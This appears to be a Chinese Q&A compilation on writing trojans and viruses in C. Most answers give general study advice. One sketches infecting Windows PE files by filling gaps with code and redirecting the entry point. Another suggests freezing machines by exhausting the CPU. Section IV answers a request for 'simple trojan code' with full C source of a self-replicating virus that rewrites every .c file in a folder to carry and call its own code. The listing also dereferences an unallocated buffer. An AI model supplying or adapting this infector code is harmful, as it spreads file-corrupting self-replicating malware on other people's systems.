c語言寫木馬
Ⅰ c語言寫木馬程序原理
不同的木馬原理不同,具體看何種木馬。比如。有消耗cpu的,有破環文件類型的,有記錄鍵盤信息的。方法也層次不窮,你可以改變機器的時間,這樣很多軟體就無法正常的工作,也可以寫個死循環,(當然是讓計算機無限計算的,而並非簡單的死循環,那隻是讓你的程序報錯)讓機子癱瘓。木馬並非如此簡單,需要更深層次更系統的學習。了解計算機的運行機制,和匯編語言。
Ⅱ 如何用C語言製作木馬
這個一兩句也說不清楚 你首先要有信心去學習c語言,c語言不像vb,要到後期才能看到它的威力,所以要堅持的學下去 希望你能堅持住,教程網上隨便一搜索就有了,還有可以去買書 都可以 總之要有耐心 堅持!!
Ⅲ 我想學習C語言 什麼樣的開發環境最好 另外我想編寫木馬,請問編寫木馬都需要先學會什麼說的越詳細越好。
其實以上兩位都講的不錯,學習C在linux下的確是不錯的,不過呢不知到你的情況如何,在linux下至少得了解會用一個相關的系統,其實初學者還是不推薦的哈,那也是一門很大的學問了。在win下用VC是很不錯的選擇,雖然軟體比較大,可是功能很齊全了,了解適用起來相對時間就能短很多,容易上手些。
寫木馬其實不是件簡單的事,用C當然可以,但也需要結合其他的知識,另外那要看你能把C用的多牛逼了,還有一定要去學習匯編,在win下的匯編才是真正底層的東西,還得很了解計算機的組成原理和操作系統原理,以及深入了解程序如何在運行,代碼在怎麼跑,內存管理的機制,…,這點學C的時候就要同時多下功夫了,你了解的越多,懂的越多,理解的越深入,也才能真正自己寫出木馬、病毒來。再有一定基礎的時候,自己你能寫一些簡單的小程序,能看懂別人的寫的東西的時候,再去網上找源碼、教程。
至於一些書、環境什麼的,就要靠自己去尋找了,這里就沒什麼給你推薦的,自己能學懂的才是最好的。
Ⅳ c語言木馬代碼,簡單點的,我保證不做違法的
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include<stdio.h>\n",out);
fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j<i-1;j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}
再就是網上一網路一大堆的。
Ⅳ C語言可以用來做木馬或是病毒嗎
C語言可以的
你要是會匯編語言 你就知道了!
匯編幾乎可以實現所有其他語言的能實現的功能
匯編可以編木馬或是病毒代碼,其他當然可以了
你要是學習怎麼編寫 木馬或是病毒代碼 最好去學習下匯編,
當然你學會匯編後,也許你就對木馬或是病毒代碼不感興趣了。。。。 呵呵
Ⅵ C語言可以寫出木馬么
c語言可以的,一般的程序設計的語言都是可以的,但是病毒也是有高級與低級之分的,關鍵看你的語言應用能力了,順便提醒一句,c語言這種很廣泛的語言類,一般編出來的代碼容易被破解的。
Ⅶ 學好C語言可以編寫病毒嗎
可以。
C語言是一門通用計算機編程語言,應用廣泛。C語言的設計目標是提供一種能以簡易的方式編譯、處理低級存儲器、產生少量的機器碼以及不需要任何運行環境支持便能運行的編程語言。
他是編輯計算機的語言,所以病毒也是可以編輯的
不過個人建議做個反病毒高手,別做病毒創作者。
Ⅷ 請介紹下C語言寫木馬的演算法......
我只知道window的木馬程序的原理,首先你要去研究一下windows PE文件的格式,windows PE文件包括(exe dll文件等),用文本方式打開任意一個exe或者dll文件,就會發現這些文件都具有類似的組織結構(就是PE格式)
仔細耐心地研究了PE格式後,你會發現這些PE格式的文件有很多間隙空間可用,window木馬程序正是利用PE格式文件中的這些間隙,把自己的代碼插入這些間隙空間中,同時還要修改宿主程序的入口地址(OEP Original Entry Point)
這樣,宿主程序一運行,首先運行生成木馬的代碼,然後運行宿主程序。
Windows應用程序捆綁核心編程 (PE)
http://book.csdn.net/bookfiles/212/10021210198.shtml
http://www.diybl.com/course/3_program/c++/cppjs/2008219/100330.html
Ⅸ c語言木馬源代碼
ls這個好像是感染c文件的病毒,自動加上玩笑代碼(當然可以是惡意的)
不是木馬